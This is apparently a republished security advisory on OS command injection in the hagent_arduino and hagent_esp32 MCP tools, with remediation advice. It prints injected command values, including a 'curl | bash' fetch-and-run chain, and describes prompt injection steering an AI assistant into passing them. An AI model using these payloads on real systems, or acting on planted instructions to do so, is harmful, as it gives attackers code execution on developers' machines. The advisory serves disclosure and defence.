Multiple command injection vulnerabilities exist in the hagent_arduino and hagent_esp32 MCP tools. User-supplied args parameters are interpolated directly into shell command strings and executed via subprocess.run(..., shell=True) or subprocess.Popen(..., shell=True) without any sanitization. This allows an attacker to inject arbitrary OS commands.
Critical — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE-78 : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Files and Code
1. hagent/mcp/mcp_arduino.py
api_cli() — Lines 825-827:
The args parameter is documented as "Arbitrary arduino-cli command string" and is passed directly to a shell. With shell=True , shell metacharacters ( ; , | , $() , ` ) are interpreted.
api_compile() — Lines 670, 707-710:
api_upload() — Lines 738, 776-779:
2. hagent/mcp/mcp_esp32.py
api_idf() — Lines 680-691:
The args parameter is documented as "Arbitrary idf.py command string" and is passed directly to a shell.
api_setup() — Lines 423-425:
The project name from the args parameter is interpolated into a shell command.
3. Additional: _run_monitor() in both files
While port and fqbn come from board detection/config rather than direct user input, they could be manipulated if an attacker controls a configuration file.
Total: 2 MCP tools, 5 API endpoints, 5 injectable parameters
Via hagent_arduino cli API:
Constructed command: arduino-cli version; id > /tmp/pwned The shell splits this at ; and runs id > /tmp/pwned as a separate command.
Via hagent_esp32 idf API:
Constructed command: idf.py version && curl | bash
Via hagent_esp32 setup API:
Constructed command: idf.py create-project -p . myproject$(whoami) The $(whoami) command substitution executes inside the shell.
In the MCP architecture, an AI assistant calls these tools based on user prompts. A prompt-injection attack (e.g., hidden instructions in a document, web page, or repository the AI processes) could craft malicious args values. Since the MCP server executes with the host user's full privileges, successful exploitation grants the attacker arbitrary code execution on the developer's machine.
Replace subprocess.run(cmd_string, shell=True) with the list-form subprocess.run([executable, *args_list]) which does not invoke a shell:
For api_setup() , validate the project name:
CWE-78: OS Command Injection
Python subprocess security considerations
MCP Security Best Practices
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
